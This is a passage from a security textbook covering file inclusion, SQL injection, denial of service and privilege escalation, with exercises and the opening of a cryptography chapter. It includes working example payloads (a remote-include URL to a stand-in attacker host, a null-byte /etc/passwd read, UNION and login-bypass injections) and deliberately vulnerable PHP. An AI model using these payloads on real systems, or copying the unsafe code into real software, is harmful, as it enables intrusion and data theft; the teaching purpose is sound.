sites. Many plugins allow further division of security policies into trusted
and untrusted zones, however. Opera takes the approach of defaulting to
global security settings, but allowing the user to apply specific policies to
individual sites.

Figure 18: Internet Explorer divides web sites into zones, including trusted
and restricted sites.

Most browsers also feature automatic notifications if a user visits a web
site that is on a public blacklist of known phishing or malware-distributing
sites. Browser plugins, such as NoScript, use similar white list and blacklist
mechanisms, and can attempt to detect XSS attacks and prevent cookie
theft by sanitizing HTTP requests and scanning the source code of a web
site before execution. Thus, users should take advantage of the built-in
browser security measures and make sure they are running the most up-to-
date version of their browser, so that it has all the latest security updates.
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3 Attacks on Servers

Several attacks on the technology of the Web occur on the server side. We
explore some of these attacks in this section.

3.1 Server-Side Scripting

In contrast to scripting languages, such as Javascript, that are executed on
the client side in a user’s web browser, it is useful to utilize code on the
server side that is executed before HTML is delivered to the user. These
server-side scripting languages allow servers to perform actions such as
accessing databases and modifying the content of a site based on user input
or personal browser settings. They can also provide a common look and feel
to a web site by using scripts that generate a common banner and toolbar
on all the pages of a web site. (See Figure 19.)

1. Client requests a dynamic 
page, possibly providing user-
specific inputs

Client
Web Server

Scripting Module
2. Server passes user 

input and scriptedinput and scripted
HTML to Scripting 
Module

3. Scripting Module
performs script, possibly
accessing other servers and/or 
d t b d t HTML

4. Server returns to user 
dynamic content in a
customized HTML file databases, and returns HTMLcustomized HTML file

Figure 19: Actions performed by a web server to produce dynamic content
for a client user.

Server-side code, as its name suggests, is executed on the server, and
because of this only the result of this code’s execution, not the source,
is visible to the client. Typical server-side code performs operations and
eventually generates standard HTML code that will be sent as a response
to the client’s request. Server-side code also has direct access to GET and
POST variables specified by the user.
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PHP

There are several server-side scripting languages, which are used primarily
to create dynamic web content. One of the more widely used general-
purpose server-side scripting languages is PHP. PHP is a hypertext pre-
processing language that allows web servers to use scripts to dynamically
create HTML files on-the-fly for users, based on any number of factors,
such as time of day, user-provided inputs, or database queries. PHP code is
embedded in a PHP or HTML file stored at a web server, which then runs
it through a PHP processing module in the web server software to create
an output HTML file that is sent to a user. The code sample shown in Code
Fragment 15 is an example of a PHP script that dynamically generates a
page based on a GET variable called “number.”

<html>
<body>

<p>Your number was <?php echo $x=$ GET[’number’];?>.</p>
<p>The square of your number is <?php $y = $x * $x; echo $y; ?>.</p>

</body>
</html>

Code Fragment 15: A simple PHP page.

This variable, number, would most likely be provided through a stan-
dard HTML form, as in our previous example. The “<?php” and “?>”
tags denote the start and end of the script. The echo command outputs
results to the screen. The array that stores all of the provided GET variable
is referred to as “$ GET”—in this case, we are accessing the one named
number. Finally, note that variables $x and $y are used without a previous
type declaration. Their type (integer) is decided by the PHP processor at
runtime, when the script is executed. The execution of this code is com-
pletely invisible to the user, who only receives its output. If the user had
previously entered “5” as input to the GET variable, number, the response
would be as shown in Code Fragment 16.

<html>
<body>

<p>Your number was 5.</p>
<p>The square of your number is 25.</p>

</body>
</html>

Code Fragment 16: The output of the above PHP page.
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3.2 Server-Side Script Inclusion Vulnerabilities

In a server-side script inclusion attack, a web security vulnerability at a web
server is exploited to allow an attacker to inject arbitrary scripting code into
the server, which then executes this code to perform an action desired by
the attacker.

Remote-File Inclusion (RFI)

Sometimes, it is desirable for server-side code to execute code contained in
files other than the one that is currently being run. For example, one may
want to include a common header and footer to all pages of a website. In
addition, it may be useful to load different files based on user input. PHP
provides the include function, which incorporates the file specified by the
argument into the current PHP page, executing any PHP script contained
in it. Consider the index.php page shown in Code Fragment 17, where “.”
denotes concatenation of two strings.

<?php
include("header.html");
include($ GET[’page’].".php");
include("footer.html");

?>

Code Fragment 17: A PHP page that uses file inclusion to incorporate an
HTML header, an HTML footer, and a user-specified page.

Navigating to victim.com/index.php?page=news in this case would re-
sult in the web server loading and executing page news.php using the PHP
processor, which presumably generates the news page and displays it for
the user. However, an attacker might navigate to a page specified by the
following URL:

http://victim.com/index.php?page=http://evilsite.com/evilcode

This would result in the web server at victim.com executing the code at
evilsite.com/evilcode.php locally. Such an attack is known as a remote-file
inclusion (RFI) attack. An example of code an attacker might execute in
such an attack is a web shell, which is a remote command station that allows
an attacker to navigate to the web server and possibly view, edit, upload,
or delete files on web sites that this web server is hosting.

Fortunately, remote-file inclusion attacks are becoming less common,
because most PHP installations now default to disallowing the server to
execute code hosted on a separate server. Nevertheless, this does not pre-
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vent the exploitation of vulnerabilities that allow for the attack discussed
next.

Local-File Inclusion (LFI)

As in an RFI attack, a local-file inclusion (LFI) attack causes a server to
execute injected code it would not have otherwise performed (usually for
a malicious purpose). The difference in an LFI attack, however, is that the
executed code is not contained on a remote server, but on the victim server
itself. This locality may allow an attacker access to private information by
means of bypassing authentication mechanisms. For example, an attacker
might navigate to the following URL:

http://victim.com/index.php?page=admin/secretpage

The URL above might cause the index page to execute the previously
protected secretpage.php. Sometimes, LFI attacks can allow an attacker to
access files on the web server’s system, outside of the root web directory.
For example, many Linux systems keep a file at /etc/passwd that stores local
authentication information. In the example above, note that attempting to
access this file by navigating to the following URL will not work:

http://victim.com/index.php?page=/etc/passwd

Because the code concatenates .php to any input before trying to include
the code, the web server will try to execute /etc/passwd.php, which does not
exist. To bypass this, an attacker could include what is known as a null byte,
which can be encoded as %00 in a URL. The null byte denotes the end of the
string, allowing the attacker to effectively remove the .php concatenation.
In this case, the following URL could be accessed:

http://victim.com/index.php?page=/etc/passwd%00

This form of attack may seem relatively benign when limited to in-
formation disclosure, but the advent of user-provided content suggests
another method of attack using this technique. For example, a web site
that is vulnerable to local-file inclusion might also have a means for users
to upload images. If the image uploading form does not carefully check
what is being uploaded, this may provide an attacker an avenue to upload
malicious code to the server (that would not ordinarily be executed), and
then exploit a local-file inclusion vulnerability to trick the server into exe-
cuting that code.
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3.3 Databases and SQL Injection Attacks

A database is a system that stores information in an organized way and
produces reports about that information based on queries presented by
users. Many web sites use databases that enable the efficient storage and
accessing of large amounts of information. A database can either be hosted
on the same machine as the web server, or on a separate, dedicated server.

Since databases often contain confidential information, they are fre-
quently the target of attacks. Attackers could, for example, be interested
in accessing private information or modifying information in a database for
financial gain. Because of the sensitivity of information stored in a database,
it is generally unwise to allow unknown users to interact directly with a
database. Thus, most web-based database interaction is carried out on the
server side, invisible to the user, so that the interactions between users and
the database can be carefully controlled, as depicted in Figure 20. The goal
of an attacker, of course, is to breach this controlled database interaction to
get direct access to a database.
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Figure 20: A model for user interactions with a web server that uses a
database. All database queries are performed via the web server, and direct
access to the database by the user is prohibited. The attacker wants to break
through these protections to use the web server to gain direct access to the
database.
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SQL

Web servers interact with most databases using a language known as
Structured Query Language (SQL). SQL supports a number of operations
to facilitate the access and modification of database information, including
the following:

• SELECT: to express queries
• INSERT: to create new records
• UPDATE: to alter existing data
• DELETE: to delete existing records
• Conditional statements using WHERE, and basic boolean operations

such as AND and OR: to identify records based on certain conditions
• UNION: to combine the results of multiple queries into a single result

SQL databases store information in tables, where each row stores a
record and the columns corresponds to attributes of the records. The struc-
ture of a database is known as its schema. The schema specifies the tables
contained in the database and, for each table, the type of each attribute (e.g.,
integer, string, etc.). Consider, for example, a database consisting of a single
table that stores news articles, as shown in Table 1.

id title author body
1 Databases John (Story 1)
2 Computers Joe (Story 2)
3 Security Jane (Story 3)
4 Technology Julia (Story 4)

Table 1: A database table storing news articles.

To retrieve information from the above database, the web server might
issue the following SQL query:

SELECT * FROM news WHERE id = 3;

In SQL, the asterisk (*) is shorthand denoting all the attributes of a
record. In this case, the query is asking the database to return all the at-
tributes of the records from the table named news such that the id attribute
is equal to 3. For the table above, this query would return the entire third
row (with author Jane). To contrast, the web server might query:

SELECT body FROM news WHERE author = "Joe";

This query would return just attribute body of the second row in the
table above.
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SQL Injection

An SQL injection allows an attacker to access, or even modify, arbitrary
information from a database by inserting his own SQL commands in a data
stream that is passed to the database by a web server. The vulnerability is
typically due to a lack of input validation on the server’s part.

To understand this vulnerability, let us examine a sample PHP script
that takes user input provided by a GET variable to generate an SQL query,
and includes the results of that query into the returned web page. The
script, shown in Code Fragment 18, uses the popular MySQL database.

<?php
// Create SQL query
$query = ’SELECT * FROM news WHERE id = ’ . $ GET[’id’];
// Execute SQL query
$out = mysql query($query) or die(’Query failed: ’ . mysql error());
// Display query results
echo "<table border=1>\n";
// Generate header row
echo "<tr>

<th>id</th><th>title</th><th>author</th><th>body</th>
</tr>";

while ($row = mysql fetch array($out)) {
// Generate row

echo " <tr>\n";
echo " <td>" . $row[’id’] . "</td>\n";
echo " <td>" . $row[’title’] . "</td>\n";
echo " <td>" . $row[’author’] . "</td>\n";
echo " <td>" . $row[’body’] . "</td>\n";
echo " </tr>\n";
}
echo "</table>\n";

?>

Code Fragment 18: A PHP page that uses SQL to display news articles.

This code sample works as follows. First, it builds an SQL query that
retrieves from table news the record with id given by a GET variable. The
query is stored in PHP variable $query. Next, the script executes the SQL
query and stores the resulting output table in variable $out. Finally, query
results are incorporated into the web page by extracting each row of table
$out with function mysql fetch array. The GET variable id is passed to the
script with a form that generates a URL, as in the following example URL
that results in the article with id number 3 being retrieved and displayed.

http://www.example.com/news.php?id=3
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Unintended Information Disclosure

There is a problem with the code above, however. When constructing the
query to the database, the server-side code does not check to see whether
the GET variable, id, is a valid input, that is, that it is in proper format and
is referring to an id value that actually exists. Assume that in addition to
table news, the database contains another table, users, which stores account
information for the paying subscribers. Also, suppose that the attributes of
table users include the first name (first), last name (last), email (email) and
credit card number (cardno) of the user. The attacker could request the
following URL (which would really be on a single line):

http://www.example.com/news.php?id=NULL UNION
SELECT cardno, first, last, email FROM users

Plugging in this GET variable into the PHP code, the server would
execute the following SQL query:

SELECT * FROM news WHERE id = NULL UNION SELECT
cardno, first, last, email FROM users

Recall that the UNION command joins the results of two queries into
a single result. Since both the news table and the appended request have
the same number of columns, this is permitted. The results of the injected
query might look as shown in Table 2.

id title author body
1111-3333-5555-7777 Alice All alice@example.com
2222-4444-6666-8888 Bob Brown bob@example.com

Table 2: Example of the result from an injected database query that reveals
user account information.

Since the web server and database don’t know anything is amiss, this
code segment will then display the results onto the attacker’s screen, giving
the attacker access to all the information in the users table, including credit
card numbers. By forming an SQL query using the UNION operator, this
attack would inject an SQL query that reads off the entire table, which is
clearly an unintended information disclosure.

Bypassing Authentication

The previous instance is an example of an SQL injection attack that results
in unwanted information disclosure. Another form of SQL injection may
allow the bypassing of authentication. A classic example exploits the PHP
code of Code Fragment 19, which could be run after a user submits login
information to a web page.
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<?php
$query = ’SELECT * FROM users WHERE email = "’ . $ POST[’email’] .
’"’ . ’ AND pwdhash = "’ . hash(’sha256’,$ POST[’password’]) . ’"’;
$out = mysql query($query) or die(’Query failed: ’ . mysql error());
if (mysql num rows($out) > 0) {

$access = true;
echo "<p>Login successful!</p>";
}
else {

$access = false;
echo "<p>Login failed.</p>";
}

?>
Code Fragment 19: A PHP example that uses SQL for authentication.

The server creates an SQL query using the POST variables email and
password, which would be specified on a form in the login page. If
the number of rows returned by this query is greater than zero (that is,
there is an entry in the users table that matches the entered username and
password, access is granted. Note that the SHA-256 hash of the password
is stored in the users table. Improper input validation can again lead
to compromise and execution of arbitrary code, however. For example,
consider the case where an attacker enters the following information into
the HTML authentication form:

Email: ” OR 1=1;–
Password: (empty)

The above input would result in the following SQL query:
SELECT * FROM users WHERE email="" OR 1=1;-- " AND pwdhash="e3 ..."

An SQL query statement is terminated by a semicolon. Also, the “--”
characters denote a comment in MySQL, which results in the rest of the
line being ignored. As a result, the web server queries the database for all
records from the users table where the username is blank or where 1 = 1.
Since the latter statement is always true, the query returns the entire users
table as a result, so the attacker will successfully login.

The previous two examples assume that the attacker knows something
about the structure of the database and the code used to query the database.
While this assumption may be true for some web sites, especially those
using open source software, this will not always be the case. Neverthe-
less, there are many tactics attackers can use to gather information on a
database’s structure. For example, many databases have a master table that
stores information about the tables in the database. If an attacker can use
an SQL injection vulnerability to reveal the contents of this table, then he
will have all the knowledge necessary to begin extracting more sensitive
information.
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Other SQL Injection Attacks

The previous two examples involved an attacker gaining access to private
information or bypassing authentication mechanisms, but other potential
attacks could be even more serious, involving actual manipulation of the
information stored in a database. Some SQL injection attacks allow for
inserting new records, modifying existing records, deleting records, or even
deleting entire tables. In addition, some databases have built-in features
that allow execution of operating system commands via the SQL interface,
enabling an attacker to remotely control the database server.

It may also be possible for an attacker to access information from a
database even when the results of a vulnerable database query are not
printed to the screen. By using multiple injected queries and examining
how they affect error messages and the contents of a page, it may be
possible to deduce the contents of the database without actually seeing any
query results. This is known as a blind SQL injection attack.

Attackers continue to come up with new, creative ways to take ad-
vantage of SQL injection vulnerabilities. One such technique is to insert
malicious code into the database that could at some point be sent to users’
browsers and executed. This is another potential vector for cross-site
scripting. An attacker might inject Javascript cookie-stealing code into the
database, and when a user visits a page that retrieves the now malicious
data, the malicious code will be executed on the user’s browser.

A newer invention is the concept of an SQL injection worm. These
worms propagate automatically by using the resources of a compromised
server to scan the Internet for other sites vulnerable to SQL Injection. After
finding targets, these worms will exploit any found vulnerabilities, install
themselves on the compromised database servers, and repeat the process.
There have been very few of these SQL injection worms documented “in the
wild,” but as malware writers turn to more creative ways to compromise
machines, they may occur more frequently.

Preventing SQL Injection

SQL injection vulnerabilities are the result of programmers failing to sani-
tize user input before using that input to construct database queries. Pre-
vention of this problem is relatively straightforward. Most languages have
built-in functions that strip input of dangerous characters. For example,
PHP provides function mysql real escape string to escape special charac-
ters (including single and double quotes) so that the resulting string is safe
to be used in a MySQL query. Techniques have also been developed for the
automatic detection of SQL injection vulnerabilities in legacy code.
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3.4 Denial-of-Service Attacks

When a major web site uses a single web server to host the site, that
server becomes a single point of failure. If this server ever goes down,
even for routine maitenance, then the web site is no longer available to
users. Having such a single point of failure for a web site also sets up a
possible vulnerability for that web site to denial-of-service (DOS) attacks.

It is not surprising that a web server may be vulnerable to attack. After
all, a web server is nothing more than an application, and as such it is
susceptible to the same kind of programming flaws as other applications.
For example, an attacker may craft a malformed HTTP request designed
to overflow a buffer in the web server’s code, allowing denial-of-service

Likewise, a distributed denial-of-service (DDOS) attack can try to over-
load a web server with so many HTTP requests that the server is unable to
answer legitimate requests. Thus, all of the protections against DOS attacks
should be employed for web servers. Using multiple web servers for an
important web site can also serve as protection. DNS supports the ability to
have multiple IP addresses for the same domain name, so this replication of
web servers can be transparent to users. In this case, redundancy can make
a web site more resilient against DDOS attacks by making it more difficult
for an attack to disable all the different web servers that are hosting that
web site. (See Figure 21.)

Single Web Server
for example.com

Multiple Servers
for example.com

(a) (b)

Figure 21: How replication helps against DDOS web attacks: (a) A single
web server for a web site, which is quite vulnerable to DDOS web attacks.
(b) Multiple web servers for the same web site, which are more resilient.

Web Security

In addition, exposing a web server to the world puts it at risk for attacks on
a scale much greater than non-web programs, since web servers have to be
open to connections from any host on the Internet.

conditions or even arbitrary code execution. For this reason, it is critical that
web servers are put through rigorous testing for vulnerabilities before being
run in a live environment
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3.5 Web Server Privileges

The ultimate goal of many attackers is to have full access to the entire
system, however, with full permissions. In order to accomplish this, an
attacker may first compromise the web server, and then exploit weaknesses
in the operating system of the server or other programs on the machine
to elevate his privileges to eventually attain root access. The process of
exploiting vulnerabilities in the operating system to increase user privileges
is known as local-privilege escalation. A typical attack scenario might play
out as follows:

1. An attacker discovers a local file inclusion (LFI) vulnerability on a
web server for victim.com.

2. The attacker finds a photo upload form on the same site that allows
uploading of PHP scripts.

3. The attacker uploads a PHP web shell and executes it on the web
server by using the LFI.

4. Now that the attacker has control of the site with permissions of the
web server, he uploads and compiles a program designed to elevate
his privileges to the root account, tailored to the specific version of the
victim server’s operating system.

5. The attacker executes this program, escalating his privileges to root
access, at which point he may use the completely compromised server
as a control station for future attacks or to continue to penetrate the
victim server’s network.

Web Security

Modern computers operate with varying levels of permissions. For exam-
ple, a guest user would most likely have fewer user privileges than an 
administrator. It is important to keep in mind that a web site is hosted by a
server (an actual machine) running a web server application (a program)
that handles requests for information. Following the general principle of
least privilege, the web server application should be run under an account
with the lowest privileges possible. For example, a web server might only
have read access to files within certain directories, and have no ability to
write to files or even navigate outside of the web site’s root directory. Thus,
if an attacker compromised a web site with a server-side vulnerability, they
typically would only be able to operate with the permissions of the web
server, which would be rather limited.
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Thus, web servers should be designed to minimize local privilege escala-
tion risks, by being assigned the least privilege needed to do the job and by
being configured to have little other accessible content than their web sites.

3.6 Defenses Against Server-Side Attacks

The vast variety of potential vulnerabilities posed by the Web may appear
to be a security nightmare, but most can be mitigated by following several
important guidelines. These web vulnerabilities must be prevented at three
levels, the development of web applications, the administration of web
servers and networks, and the use of web applications by end users.

Developers

The key concept to be taken away from this chapter in terms of important
development practices is the principle of input validation. A vast majority
of the security vulnerabilities discussed in this chapter could be prevented
if developers always made sure that anytime a user has an opportunity to
enter input, this input is checked for malicious behavior. Problems ranging
from cross-site scripting, SQL injection, and file inclusion vulnerabilities to
application-level errors in web servers would all be prevented if user input
were properly processed and sanitized. Many languages feature built-in
sanitization functions that more easily facilitate this process, and it is the
responsibility of the developer to utilize these constructs.

For example, XSS vulnerabilities can be reduced if user input is filtered
for characters that are interpreted as HTML tags, such as “<” and “>”. To
prevent SQL injection, characters such as single quotes should be filtered
out of user input (or escaped by prepending a backslash), and when an
integer provided by user input is used to construct a query, it should be
checked to confirm that the input is in fact an integer. Finally, it is unsafe to
allow arbitrary user input to construct the path for file inclusion. Instead,
only specific values should trigger predefined file inclusion, and everything
else should result in a default page.

Administrators

For web site and network administrators, it is not always possible to
prevent the existence of vulnerabilities, especially those at the application
level, but there are several best practices to reduce the likelihood of a
damaging attack.

The first of these principles is a general concept that applies not only
to web security but also to computing in general, that is, the idea of least
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privilege. Whenever potentially untrusted users are added to the equation,
it becomes necessary to restrict privileges as tightly as possible so as not to
allow malicious users to exploit overly generous user rights. In the realm
of web security, this typically means that administrators should ensure that
their web servers are operating with the most restrictive permissions as
possible. Typically, web servers should be granted read privileges only
to the directories in the web site’s root directory, write privileges only to
files and directories that absolutely need to be written to (for example, for
logging purposes), and executing privileges only if necessary. By following
this practice, the web site administrator is controlling the damage that could
possibly be done if the web server was compromised by a web application
vulnerability, since the attacker would only be able to operate under these
restrictive permissions.

Second, it is often the responsibility of the administrator to enforce good
security practices for the network’s users. This introduces the notion of
group policy, which is a set of rules that applies to groups of users. This
concept is relevant to browser security in that a network administrator
can enforce browser access policies that protect users on the network from
being exploited due to a lack of knowledge or unsafe browsing practices.

Finally, it is crucial that administrators apply security updates and
patches as soon as they are released. Application vulnerabilities are dis-
closed on a daily basis, and because of the ease of acquiring this informa-
tion on the Internet, working exploits are in the hands of hackers almost
immediately after these vulnerabilities are publicized. The longer an ad-
ministrator waits to patch vulnerable software, the greater the chance an
attacker discovers the vulnerability and compromises the entire system.
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4 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 It doesn’t matter whether a domain name includes uppercase and
lowercase letters, as they are considered the same. So, for instance,
example.com is the same as ExamPLE.com and eXamplE.com. Is
this case insensitivity also true for the rest of a URL? (Note that
you can test this question yourself by visiting any web site that has
a URL with more than just a domain name.)

R-2 Find a web site having HTTP as its standard protocol, but which
also supports HTTPS if this protocol is specified in the address tab
instead.

R-3 Which of the following security goals are addressed by the HTTPS
protocol: (a) privacy, (b) confidentiality, (c) availability.

R-4 Describe what information about a web server is stored in an SSL
server certificate.

R-5 How are hyperlinks indicated in an HTML file?

R-6 Can a web sever obtain SSL server certificates from two or more
certification authorities? Justify your answer.

R-7 Explain why it is a bad idea to purchase from a shopping web site
that uses a self-signed SSL server certificate.

R-8 What are the benefits for the user of a web site that provides an
extended validation certificate? What are the benefits for the owner
of the web site?

R-9 Can a cross-site scripting attack coded in Javascript access your
cookies? Why or why not?

R-10 Is it possible for an attacker to perform a phishing attack if the client
is using HTTPS? Why or why not?

R-11 What is the difference between click-jacking and phishing?

R-12 How does a sandbox protect a web browser from malicious code
that might be contained in a media element included in a web
page?

R-13 Explain why, in general, a web server should not be allowed access
to cookies set by another web server.
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R-14 Why is it dangerous to click on any hyperlink that is included in an
email message that is sent to you?

R-15 Summarize the difference between persistent and non-persistent
cross-site scripting attacks.

R-16 What are the main differences between cross-site scripting attacks
and cross-site request forgery attacks?

R-17 Provide a brief fragment of Javascript code that implements a click-
jacking attack when the user mouses over (but does not click on) an
element of a malicious web page.

R-18 Compare Java applets with ActiveX in terms of versatility to pro-
vide dynamic content for the server and security risks for the
client.

R-19 Summarize the benefits and risks of server-side scripting.
R-20 What would be a possible benefit of having the different pieces

of a web page, such as its HTML source and different embedded
images and media content, delivered from different web servers?
(Recall that each such element is retreived by a separate HTTP
request.)

R-21 Explain why input validation mitigates the risks of SQL injection
attacks.

Creativity

C-1 Describe a system for secure login to a banking web site that uses
both server and client SSL certificates. Compare this approach with
traditional authentication methods based on an SSL certificate for
the server and username/password for the client.

C-2 Describe a method for protecting users against URL obfuscation
attacks.

C-3 Design a client-side system for defending against CSRF attacks.
C-4 Design a client-side system for defending against click-jacking at-

tacks.
C-5 Discuss possible modifications of ActiveX that would provide

stronger security for the client.
C-6 Suppose Alfred has designed a client-side approach for defending

against cross-site scripting attacks by using a web firewall that
detects and prevents the execution of scripts that have signatures
matching known malicious code. Would Alfred’s system prevent
the most common XSS attacks? Which types of XSS attacks are not
detected by Alfred’s system?
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C-7 From the perspective of any host, RootServer, the shortest paths
in the Internet to RootServer form a tree structure. Imagine that
this tree is a complete binary tree having n nodes, with RootServer
as its root and client hosts as its leaves. Suppose RootServer can
handle up to

√
n different HTTP requests at any one time, but any

more than this will cause a denial-of-service. How many copies of
RootServer would you need to create and place at various nodes of
the binary tree in order to protect any copy from a DDOS attack,
assuming that any HTTP request is always handled by the closest
copy of RootServer? Where should you place these copies?

C-8 Suppose a web client and web server for a popular shopping web
site have performed a key exchange so that they are now sharing a
secret session key. Describe a secure method for the web client to
then navigate around various pages of the shopping site, optionally
placing things into a shopping cart. Your solution is allowed to
use one-way hash functions and pseudo-random number gener-
ators, but it cannot use HTTPS, so it does not need to achieve
confidentiality. In any case, your solution should be resistant to
HTTP session hijacking even from someone who can sniff all the
packets.

C-9 Ad servers are increasingly being used to display essential content
for web sites (e.g., photos that are part of news items). Suppose that
the same host is used to serve images for two different web sites.
Explain why this is a threat to user privacy. Is this threat eliminated
if the browser is configured to reject third-party cookies?

Projects

P-1 Write a term paper that describes the privacy and legitimacy con-
cerns of cookies. As a part of this paper, you should use a web
browser that allows users to examine the cookies that are stored
in that browser. Begin by deleting all your cookies and then visit
a popular news, shopping, social networking, or information web
site, to determine which cookies are set by that site. Examine these
cookies to see what information they hold and write about the
implications.

P-2 Design and implement a data structure and associated algorithms
to manage cookies in a browser. Your data structure should pro-
vide efficient methods for getting and setting cookies, and it should
enforce the rules about access to cookies by domains and subdo-
mains. Describe in pseudocode the algorithms for the following
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tasks: get(H, C) processes the request by host H for the value of
the cookie with domain name C; set(H, C, x) processes the request
by host H to set to x the value of the cookie with domain name C.
These methods must return an error message if H is not authorized
to read or write cookie C, respectively.

P-3 On an authorized virtual machine network, define three virtual
machines, Web Server, Victim, and Attacker, which could in fact all
be on the same host computer. On Web Server, install a web server
software package (e.g., Apache) and a given web application that
is vulnerable to the XSS attack. Have Attacker visit the vulnerable
Web Server and inject malcious contents to Web Server, such that
when Victim visits the infected web page, Victim is tricked to do
things that is against its will.

P-4 On an authorized virtual machine network, define three virtual
machines, Good Web Server, Victim, and Attacker Web Server,
which could in fact all be on the same host computer. On Good
Web Server, install a web server software package (e.g., Apache).
Take two given web applications, one vulnerable to GET-based
CSRF attack, and the other vulnerable to POST-based CSRF attack,
and install them on Good Web Server (some web applications have
both GET and POST services and are vulnerable to both). Have the
attacker craft its own malicious web page on Attacker Web Server
(this page can actually be hosted by any arbitrary web server).
Have Victim visit the attacker’s web page, while it is visiting Good
Web Server. Launch the CSRF attack against Good Web Server
from the attacker’s web page. Note: Many web applications may
have already implemented countermeasures against CSRF attacks.
Disable the countermeasures and have Attacker Web Server launch
the CSRF attack. After the attack is successful, enable the counter-
measures, and observe how they defeat the attacks.

P-5 On an authorized virtual machine network, define three virtual
machines, Web Server, Victim, and Attacker, which could in fact all
be on the same host computer. On Web Server, install a web server
software package (e.g., Apache) and a web application. Have
Attacker construct a malicious web page with two overlapping
iframes, A and B. In iframe A, load the web page from Web Server,
on iframe B, have Attacker design the contents intended for a click-
jacking attack. Have Victim visit the malicious web page while
it is currently visiting Web Server. Trick Victim into clicking on
a sequence of links or buttons against his own will.

P-6 On an authorized virtual machine network, define two virtual
machines, Web Server and Attacker, which could in fact both be
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on the same host computer. On Web Server, install a web server
software package (e.g., Apache) and a given web application that
is vulnerable to a SQL-injection attack. The web application needs
to use a database, so also install the necessary database software
(e.g., MySQL). Have Attacker try a variety of SQL-injection attack
strategies on Web Server. Report which strategies work for this
particular web application. Some database software have coun-
termeasures to mitigate SQL injection attacks. Observe how these
countermeasures work.

P-7 Design and implement a Firefox plugin that protects the client
against XSS attacks and CSRF forgeries.

P-8 Design and implement a Firefox plugin that protects the client
against click-jacking and URL obfuscation attacks.

Chapter Notes

The HTTP protocol is described in the following RFCs:

• RFC 2109 - HTTP State Management Mechanism

• RFC 2616 - Hyptertext Transfer Protocol – HTTP/1.1

• RFC 2965 - HTTP State Management Mechanism

The latest version of the TLS protocol is described in RFC 5246. Privacy-invasive
software and mechanisms to prevent it are discussed by Boldt and Carlsson [10].
In the summer of 2010, the Wall Street Journal published a series of articles entitled
“What They Know” on technologies for tracking web users. A detailed discussion
of phishing and why it works can be found in a paper by Dhamija, Tygar and
Hearst [24]. An in-depth examination of cross-site request forgery attacks can be
found in a paper by Jovanovic, Kirda and Kruegel [44]. For a survey on cross-
site scripting attacks and how they can be prevented, please see the book chapter
by Garcia-Alfaro and Navarro-Arribas [34]. Nentwich et al. present a variety of
techniques using static and dynamic analysis to prevent cross-site scripting [65].
Boyd and Keromytis present a protection mechanism against SQL injection attacks
[13]. Bisht, Madhusudan and Venkatakrishnan present a method for automati-
cally transforming web applications to make them resilient against SQL injection
attacks [6]. There are several published discussions of statistics and classification
types for denial-of-service attacks, including the papers by Hussain, Heidemann,
and Papadopoulos [41] and by Moore et al. [61]).
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1 Symmetric Cryptography

Cryptography began primarily as a way for two parties, who are typically
called “Alice” and “Bob,” to communicate securely even if their messages
might be read by an eavesdropper, “Eve.” (See Figure 1.) It has grown
in recent times to encompass much more than this basic scenario. Exam-
ples of current applications of cryptography include attesting the identity
of the organization operating a web server, digitally signing electronic
documents, protecting the confidentiality of online baking and shopping
transactions, protecting the confidentiality of the files stored on a hard
drive, and protecting the confidentiality of packets sent over a wireless
network. Thus, cryptography deals with many techniques for secure and
trustworthy communication and computation.

Alice Bob

Eve

Figure 1: The basic scenario for cryptograpy. Alice and Bob encrypt
their communications so that the eavesdropper Eve, can’t understand the

content of their messages.

In symmetric cryptography, we use the same key for both encryption
and decryption. The symmetric encryption algorithm recommended by the
U.S. National Institute of Standards and Technology (NIST) is the Advanced
Encryption Standard, or AES, which is designed to be a replacement for the
legacy Data Encryption Standard (DES) algorithm. Rather than jumping
right in to describe the AES cryptosystem, however, let us first describe some
classic cryptosystems. Each classic cryptosystem we describe contains an
idea that is included in AES; hence, understanding each of these earlier 
cryptosystems helps us understand AES.

Cryptography

content of their messages.  (“Alice,” “Bob”) © Moneca/Shutterstock; (“Eve”) 
© Zara’s Gallery/Shutterstock; (pipe) © Plart/Shutterstock
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1.1 Attacks

Before we describe any cryptosystem in detail, however, let us say a few
words about cryptosystem attacks. The science of attacking cryptosystems
is known as cryptanalysis and its practitioners are called cryptanalysts. In
performing cryptanalysis, we assume that the cryptanalyst knows the algo-
rithms for encryption and decryption, but that he does not know anything
about the keys used. This assumption follows the open design principle.

There are four primary types of attacks that a cryptanalyst can attempt
to perform on a given cryptosystem.

• Ciphertext-only attack. In this attack, the cryptanalyst has access to
the ciphertext of one or more messages, all of which were encrypted
using the same key, K. His or her goal is to determine the plaintext
for one or more of these ciphertexts or, better yet, to discover K.

• Known-plaintext attack. Inthis attack, the cryptanalyst has access to
one or more plaintext-ciphertext pairs, such that each plaintext was
encrypted using the same key, K. His or her goal in this case is to
determine the key, K.

• Chosen-plaintext attack. In this attack, the cryptanalyst can chose
one or more plaintext messages and get the ciphertext that is associ-
ated with each one, based on the use of same key, K. In the offline
chosen-plaintext attack, the cryptanalyst must choose all the plain-
texts in advance, whereas in the adaptive chosen-plaintext attack, the
cryptanalyst can choose plaintexts in an iterative fashion, where each
plaintext choice can be based on information he gained from previous
plaintext encryptions.

• Chosen-ciphertext attack. In this attack, the cryptanalyst can choose
one or more ciphertext messages and get the plaintext that is asso-
ciated with each one, based on the use of same key, K. As with the
chosen-plaintext attack, this attack also has both offline and adaptive
versions.

In fact, it is dangerous for us to assume that we gain any degree of security
from the fact that the cryptanalyst doesn’t know which algorithms we are
using. Such security by obscurity approach is likely to fail, since there are a
number of different ways that such information can be leaked. For example,
internal company documents could be published or stolen, a programmer
who coded an encryption algorithm could be bribed or could voluntarily
disclose the algorithm, or the software or hardware that implements an 
encryption algorithm could be reverse engineered. So we assume the crypt-
analyst knows which cryptosystem we are using.
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We have listed the attacks above in order by the amount of information
the cryptanalyst can access when performing them. (See Figure 2.)

Hi, Bob.
Don’t invite 
Eve to the 
party! 
Love Alice

Encryption
Algorithm

Plaintext Ciphertext

(a)
Love, Alice

key

Eve

Hi, Bob.
Don’t invite 
Eve to the 
party! 
Love Alice

Plaintext Ciphertext

key

(b)

Encryption
Algorithm

Love, Alice key

Eve

ABCDEFG
HIJKLMNO
PQRSTUV
WXYZ.

Plaintext Ciphertext

(c)

Eve
Encryption
Algorithm

key

Eve

IJCGA, 
CAN DO 
HIFFA 
GOT TIME.

Plaintext Ciphertext

key

001101
110111(d)

Eve
Decryption
Algorithm

key

Eve
Eve

Figure 2: Types of attacks: (a) Ciphertext-only attack. (b) Known-plaintext

